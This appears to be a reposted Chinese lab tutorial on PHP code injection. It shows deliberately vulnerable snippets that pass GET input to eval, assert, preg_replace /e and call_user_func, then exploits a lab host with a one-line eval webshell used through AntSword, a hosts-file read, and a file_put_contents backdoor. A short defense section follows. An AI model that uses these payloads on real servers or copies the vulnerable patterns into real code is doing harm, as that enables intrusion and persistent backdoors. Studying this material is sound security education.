文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

【PHP代码注入】PHP语言常见可注入函数以及PHP代码注入漏洞的利用实例

2023-09-27 11:24

关注

目录

1 PHP注入概述

RCE概念:remote command/code execute,远程命令/代码执行。

PHP代码执行:在WEB中,PHP代码执行是指应用程序过滤不严,用户可用通过http请求将代码注入到应用中执行。

PHP代码注入与SQL注入比较
其注入思想是类似的,均是构造语句绕过服务器的过滤去执行。
区别在于SQL注入是将语句注入到数据库中执行,而PHP代码执行则是可以将代码注入到应用中,最终由服务器运行它。

条件

危害 :这样的漏洞如果没有特殊的过滤,相当于直接有一个WEB后门的存在。攻击者可以通过代码执行漏洞继承WEB用户权限、执行任意代码;如果服务器没有正确配置或者WEB用户权限比较高的话,还可以读写靶机服务器任意文件内容,甚至控制整个网站或者服务器

2 相关函数与语言结构

凡是出现以下代码,都需要谨慎处理其传入的参数,容易出现PHP注入漏洞。

2.1 eval()函数

作用:该函数的作用是将字符串作为PHP代码执行

危害:如果没有对该函数的参数进行有效准确过滤,其参数将有可能被用户用于注入有害代码。

例子

<?phpif (isset($_GET['code'])){$code=$_GET['code'];eval($code);}else{echo "Please submit code!
?code=phpinfo();"
;}

在这里插入图片描述

2.2 assert()函数

作用:该函数的作用是将字符串作为PHP代码执行。如果它的条件返回错误,则终止程序执行。

危害:该函数也会将传入的字符串参数作为PHP代码执行。如果没有对该函数的参数进行有效准确过滤,其参数将有可能被用户用于注入有害代码。

例子

<?phpif (isset($_GET['code'])){$code=$_GET['code'];assert($code);}else{echo "Please submit code!
?code=phpinfo();"
;}

2.3 preg_replace()函数

作用:该函数用于对字符串进行正则处理。
函数原型及解析如下:搜索$subject中匹配$pattern的部分,以$replacement进行替换。特别地,当$pattern处第一个参数存在e修饰时,$replacement的值会被当成PHP代码来执行。

mixed preg_replace(mixed $pattern, mixed $replacement, mixed $subject [, int limit = -1 [, int &$count]])#mixed表示函数的返回值可以为混合类型

例子

<?phpif (isset($_GET['code'])){//其中的全局变量\$_GET还可以是\$_REQUEST等其他预定义超全局变量。$code=$_GET['code'];preg_replace("/\[(.*)\]/e",'\\1',$code);}else{echo"?code=[phpinfo()]";}?>

2.4 call_user_func()函数

call_user_func()这一类函数具有调用其他函数的功能,其中的一个参数作为要调用的函数名,那如果这个传入的函数名可控,那就可以调用开发者意料之外的函数来执行我们想要的代码,也就是存在任意代码执行漏洞。

call_user_func($fun,$para)函数:第一个参数作为回调函数,后面的参数为回调函数的参数。将$para这个参数传递给$fun这个函数去执行。

例子

<?phpif(isset($_GET['fun'])){$fun=$_GET['fun'];//assert$para=$_GET['para'];//phpinfo()call_user_func($fun,$para);//assert(phpinfo())}else{    echo"?fun=assert&para=phpinfo()";}?>#注意,fun不可以取eval,因为eval不是函数,而是语言结构

2.5 动态函数$a($b)

背景:由于PHP的特性原因,PHP函数支持直接有拼接的方式调用,这就直接导致了PHP在安全上的控制又加大了难度。不少知名程序中也用到了动态函数的写法,这种写法跟使用call_user_func()函数的初衷一样,都是为了更加方便地调用函数,但是一旦过滤不严格就会造成代码执行漏洞。

例子

<?phpif(isset($_GET['a'])){$a=$_GET['a'];$b=$_GET['b'];$a($b);}else{echo"?a=assert&b=phpinfo()";}?>

在这里插入图片描述

3 PHP代码注入漏洞的利用实例

3.1 实验目的

(1)了解PHP漏洞的危害;
(2)掌握PHP漏洞的利用方法。

3.2 实验环境

靶机:win2008虚拟机,部署WAMP环境,虚拟机系统安装及WAMP部署方法参考文章《《【语言环境】WAMP环境部署及优化—以win2008R2SP1为操作系统》。利用网站根目录下的PHPi文件夹下的assert.php文件,assert.php的代码详见上述2.2节。

真实机:win10系统,安装中国蚁剑软件。注意,靶机与真实机属于同一局域网。

3.3 实例内容

3.3.1 实例一:直接获取shell

(1)采用真实机访问assert.php,其中提交参数为?code=@eval($_REQUEST[1]);(构成一句话木马,密码为1)即网址为http://172.16.1.1/PHPi/assert.php?code=@eval($_REQUEST[1]);,建议配合中国蚁剑使用。

(2)运行中国蚁剑,在界面空白处点击右键,点击添加数据。
在这里插入图片描述
在这里插入图片描述
(3)填写参数如下,其中URL中要注意语句结尾应有分号。填写后点击提交。
在这里插入图片描述

(4)提交后可以看到页面多了一条内容,双击可以看到靶机的相关信息。
在这里插入图片描述
在这里插入图片描述

3.3.2 实例二:获取当前文件的绝对路径。

(1)采用真实机访问assert.php,其中提交参数为?code=print(__FILE__);即可获取当前网页的绝对路径,其他漏洞依次类推。__FILE__是PHP预定义常量,其含义为当前文件的路径
在这里插入图片描述

3.3.3 实例三:读文件

前提:(1)目标文件路径;(2)读取权限。
方法:利用file_get_contents()函数读取服务器文件。
例子:读取服务器的hosts文件,
真实机访问assert.php文件,其中传入参数?code=var_dump(file_get_contents('c:\windows\system32\drivers\etc\hosts'));,即可将目标文件内容显示在页面上。
在这里插入图片描述

3.3.4 实例四:写文件

前提:具备文件夹的写入权限。
方法:利用file_put_contents()函数写入服务器文件,该函数的作用在于将第二个参数作为内容写入到第一个参数的文件中。
例子
(1)采用真实机访问assert.php,其中传入参数为
?code=file_put_contents($_REQUEST[1],$_REQUEST[2]);&1=shell.php&2=。参数1值为shell.php,参数2值为,表示在当前目录下创建文件shell.php(文件内容为参数2的值),并写入一个后门。
在这里插入图片描述

(2)采用真实机访问shell.php文件,网址为http://172.16.1.1/PHPi/shell.php.
在这里插入图片描述

(3)使用蚁剑访问刚刚写入的后门文件,按以下填写参数,并点击添加。
在这里插入图片描述
(4)提交后可以看到页面多了一条内容,双击可以看到靶机的相关信息,可管理靶机。
在这里插入图片描述
在这里插入图片描述

4 防御

(1)尽量不要使用eval()等函数,如需使用则一定要进行严格的过滤;
(2)preg_replace放弃使用/e修饰符;
(3)在php.ini文件中,将assert等函数禁用掉,如disable_functions = assert

5 总结

(1)掌握PHP语言种几种可能存在注入的函数;
(2)结合SQL注入与XSS漏洞思考PHP注入绕过手法。
(3)获取网站相关的信息利用PHP漏洞;获取数据库相关内容利用SQL注入漏洞。
(4)掌握漏洞验证及利用的过程。
(5)掌握利用漏洞读写文件及建立后门的过程。

tips:
Seacms-v6.26、v6.53、v6.54、v6.55(海洋cms)存在代码执行漏洞,cms是网站的模板。

来源地址:https://blog.csdn.net/m0_64378913/article/details/124894598

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     807人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     351人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     314人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     433人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     221人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯